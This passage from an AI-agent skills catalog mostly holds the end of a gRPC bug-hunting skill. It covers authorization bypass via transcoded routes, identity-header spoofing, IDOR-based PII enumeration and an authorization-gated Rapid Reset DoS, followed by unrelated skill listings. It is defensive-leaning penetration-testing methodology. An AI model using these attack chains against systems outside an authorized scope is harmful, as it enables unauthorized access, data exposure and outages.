transcoder route exposes `AdminService` or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns `OK` with sensitive data, and verify it is reachable as an unauthenticated\u002Flow-priv user (not just from inside the mesh).\n\n---\n\n## Phase 7 — HTTP\u002F2 Rapid Reset DoS (CVE-2023-44487)\n\n**Authorization gate:** DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target\u002Fwindow the program owner agreed to. Skip to Validation if unsure.\n\nThe attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RST_STREAM) before the server finishes, so each cancelled stream frees a `MAX_CONCURRENT_STREAMS` slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. `h2load`\u002F`ghz` are throughput benchmarkers; **they have no rapid-reset mode and never interleave HEADERS+immediate-RST_STREAM, so they cannot test this.**\n\nPrefer owner-supplied package\u002Fconfiguration evidence and the relevant vendor's\nsecurity advisory. A Server banner can be stripped, spoofed or backported; it is\nan applicability lead, not proof of an unpatched reset-handling implementation.\nDo not label a fixed small burst “detection-only” or safe: any reset flood can be\ndisruptive. A separately approved isolated load test needs explicit stop thresholds,\nmonitoring and rollback. No PoC download\u002Fbuild or exploit invocation is required\nfor this read-only triage workflow, and no third-party PoC is certified here.\n\n---\n\n## Tools\n\n```bash\ngrpcurl   # primary CLI client (list\u002Fdescribe\u002Fcall, -protoset for reflection-off)\ngrpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051\nprotoc + protoscope   # build\u002Finspect raw protobuf and gRPC-Web frames (Phase 6)\nbuf       # lint\u002Finspect proto, drive Connect endpoints\n# DoS-only, AUTHORIZED engagements: secengjeff\u002Frapidresetclient (true rapid-reset PoC).\n#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not\n#   use them to \"prove\" CVE-2023-44487.\n```\n\n---\n\n## Chain Table\n\n| gRPC finding | Chain to | Impact |\n|--------------|----------|--------|\n| Reflection enabled | Enumerate all internal service methods + messages | Full API catalog disclosure (enabler) |\n| Admin method, no auth | Call privileged RPCs (`DeleteUser`, `GetConfig`) | Data manipulation \u002F system access — Critical |\n| Proxy forwards `x-user-id`\u002F`x-tenant-id` unstripped | Spoof identity metadata → cross-tenant impersonation | Tenant isolation bypass — Critical |\n| IDOR via enumerable id field | Iterate `user_id` over `GetUser` | Mass PII exfil — High |\n| grpc-gateway \u002F gRPC-Web route re-exposes internal RPC | Hit transcoded REST\u002FJSON path unauth | Externally-reachable authz bypass — High\u002FCritical |\n| Plaintext h2c on internal port | MITM \u002F sniff metadata (bearer tokens) | Credential capture — High |\n| `.proto` leak (repo\u002Fswagger) | `-protoset` to drive reflection-off target | Unlocks Phases 3–4 — Low alone, High as enabler |\n\nRelated skills: **hunt-idor** (id enumeration logic), **hunt-api-misconfig** (JWT alg=none \u002F mass-assignment in request messages), **hunt-auth-bypass** (edge-vs-backend trust boundary), **hunt-tls-network** (h2c\u002Fplaintext + ALPN), **cloud-iam-deep** (if a called RPC returns cloud creds).\n\n---\n\n## Validation — false-positive discipline\n\ngRPC's failure modes look like successes to a naive `grep`. Apply these gates before any submission.\n\n1. **Status-code discrimination, not byte-counting.** A non-empty response can still be an error frame. Confirm the `grpc-status` trailer is `0` (OK). `Unauthenticated (16)` \u002F `PermissionDenied (7)` establish only that the tested request was denied. `Unimplemented (12)` means you have the wrong method. Re-run with `grpcurl -v` and read the trailers explicitly.\n\n2. **Reflection \u002F health endpoints are often intentionally public.** `grpc.reflection.*` and `grpc.health.v1.Health` being reachable is, by itself, an observation that may be intentional and non-reportable — many vendors ship reflection on by design. Do NOT report it as \"missing auth\" unless it leaks a non-public service catalog. The finding is the *sensitive* service you can then call without auth, proven in Phase 3.\n\n3. **Distinguish \"no auth\" from \"auth not required for THIS method.\"** Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated **state delta**: the same RPC returns another user's\u002Ftenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).\n\n4. **Proxy-vs-backend reachability.** A bug reachable only by hitting an internal `:50051` you found via SSRF\u002Fport-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.\n\n5. **OOB \u002F Collaborator for anything blind.** If an RPC takes a URL\u002Fhost argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction is inconclusive; egress, validation, DNS\u002Fproxy behavior can block a callback. Hand off to **hunt-ssrf**.\n\n6. **DoS is authorization-gated and version-verifiable.** Never submit CVE-2023-44487 off a benchmark \"slowdown.\" Use owner-confirmed build\u002Fconfiguration evidence or a controlled isolated test ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.\n\n**Illustrative severity possibilities; assess actual privileges, scope and impact:**\n- Sensitive\u002Fadmin RPC callable with no auth, side-effect proven → **Critical**\n- Proxy-forwarded metadata spoofing → cross-tenant impersonation → **Critical**\n- IDOR \u002F mass PII via enumerable RPC → **High**\n- Internal service externally reachable (transcoder or open port) → **High**\n- Plaintext h2c leaking bearer metadata → **High**\n- Reflection enabled exposing non-public catalog → **Medium** (enabler)\n- Proto\u002Fdescriptor leak, no callable sensitive method → **Low**\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":31,"source":50,"license":14,"sources":51,"category":44,"date_added":52,"description":7,"source_repo":53,"source_type":38,"report_count":54,"compatibility":55,"license_source":56},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, grpc_security_research, cert_cc_advisory","2026-09-20","elementalsouls\u002FClaude-BugHunter",6,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","7bf2279c8a65758319526a721d5c4b75683aec9c","skills\u002Fantigravity-hunt-grpc",3,"https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections","https:\u002F\u002Fgithub.com\u002Fboisenoise","2026-11-11 14:20:43",{"source":8,"skillName":5,"commands":64,"prompt":74,"zipAvailable":75},[65,68,71],{"tool":66,"command":67},"npx","npx skills add boisenoise\u002Fskills-collections --skill hunt-grpc",{"tool":69,"command":70},"bunx","bunx skills add boisenoise\u002Fskills-collections --skill hunt-grpc",{"tool":72,"command":73},"pnpm","pnpm dlx skills add boisenoise\u002Fskills-collections --skill hunt-grpc","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-grpc\u002FSKILL.md",true,[],[78,105,130,155,174,196],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":82,"licenseFileUrl":83,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":45},"01M6WNH92BHVFXHGPDZCPJ0AG0","web-access","Use Treg for public web or platform data only when existing search, browser and connected tools cannot cover the task, with explicit cost and data boundaries.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FSKILL.md",[],[87,88,89,90,91,92,93,94,40,95,96,39,97,98,99,100,101,102,103,104,27],"web","access","web access","official","development","browser","search","data","read","fetch","youtube","free tools","platform","critical","free","cover","normal","when",{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":82,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":115,"publishedAt":45},"01M6WNF9XAYAB2CZDDJBAKNM93","treg","Use the Treg CLI or MCP catalog to discover, price and call authorized external tools with team-scoped credentials and a user-approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FSKILL.md",[112],{"categoryNo":113,"categoryName":114,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",[107,116,117,118,90,91,41,40,119,120,121,122,123,124,125,100,126,127,128,129,27],"MCP","cli","github","Budget","credentials","team","catalog","use","call","discover","external tools","with","scoped","blob",{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":82,"licenseFileUrl":134,"sourceHtmlUrl":135,"categories":136,"keywords":142,"publishedAt":45},"01M6WN93MEAZ4E41DYAHJRPHQT","recruit","Turn a job description into an evidence-linked candidate shortlist through Treg, with job-related ranking and optional authorized business contact enrichment.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FSKILL.md",[137],{"categoryNo":138,"categoryName":139,"taxonomyType":140,"taxonomyTypeDesc":141},"01JBSEEDCAT000000000000038","人力资源","PROFESSION","适用职业",[132,118,90,41,143,144,145,146,147,148,100,149,150,151,127,28,152,153,154,129,107,27],"https","email","enrichment","business","evidence","phone","ranking","post","job description","person","candidate","reason",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":82,"licenseFileUrl":159,"sourceHtmlUrl":160,"categories":161,"keywords":162,"publishedAt":45},"01M6WN8R5RXSMHM9B4D9FAFX42","rea-growth","Analyze a company’s public growth and content through Treg, distinguish observations from hypotheses, and produce an evidence-linked playbook within an approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FSKILL.md",[],[163,164,165,118,90,41,166,167,143,168,119,169,170,171,147,100,172,173,129,107,27],"growth","rea","rea growth","produce","content","playbook","marketing","analyze","public","observations","company",{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":82,"licenseFileUrl":178,"sourceHtmlUrl":179,"categories":180,"keywords":181,"publishedAt":45},"01M6WN2EVE3RQRGWAKBT4S7YT2","make-ugc","Create original AI UGC-style product videos through Treg: research hooks, approve a licensed presenter and voice, generate clips, add captions and report costs.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FSKILL.md",[],[182,183,118,43,90,184,41,185,186,187,188,189,100,190,191,192,193,194,195,129],"make","make ugc","create","Video","Captions","ads","short","hooks","head","style","niche","trending","talking-head","approve",{"skillNo":197,"name":198,"nameZh":6,"description":199,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":82,"licenseFileUrl":200,"sourceHtmlUrl":201,"categories":202,"keywords":203,"publishedAt":45},"01M6WN10ARAA63Y8K1YNGXJ2RM","lead-signals","Find and qualify public buying signals through Treg, rank fitting business accounts and optionally enrich authorized business contact information.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FSKILL.md",[],[204,205,206,118,90,41,207,208,146,209,210,100,211,212,213,214,215,216,217,129],"signals","lead","lead signals","how","find","ready","as","how to","qualify","people","information","enrich","changes","funding"]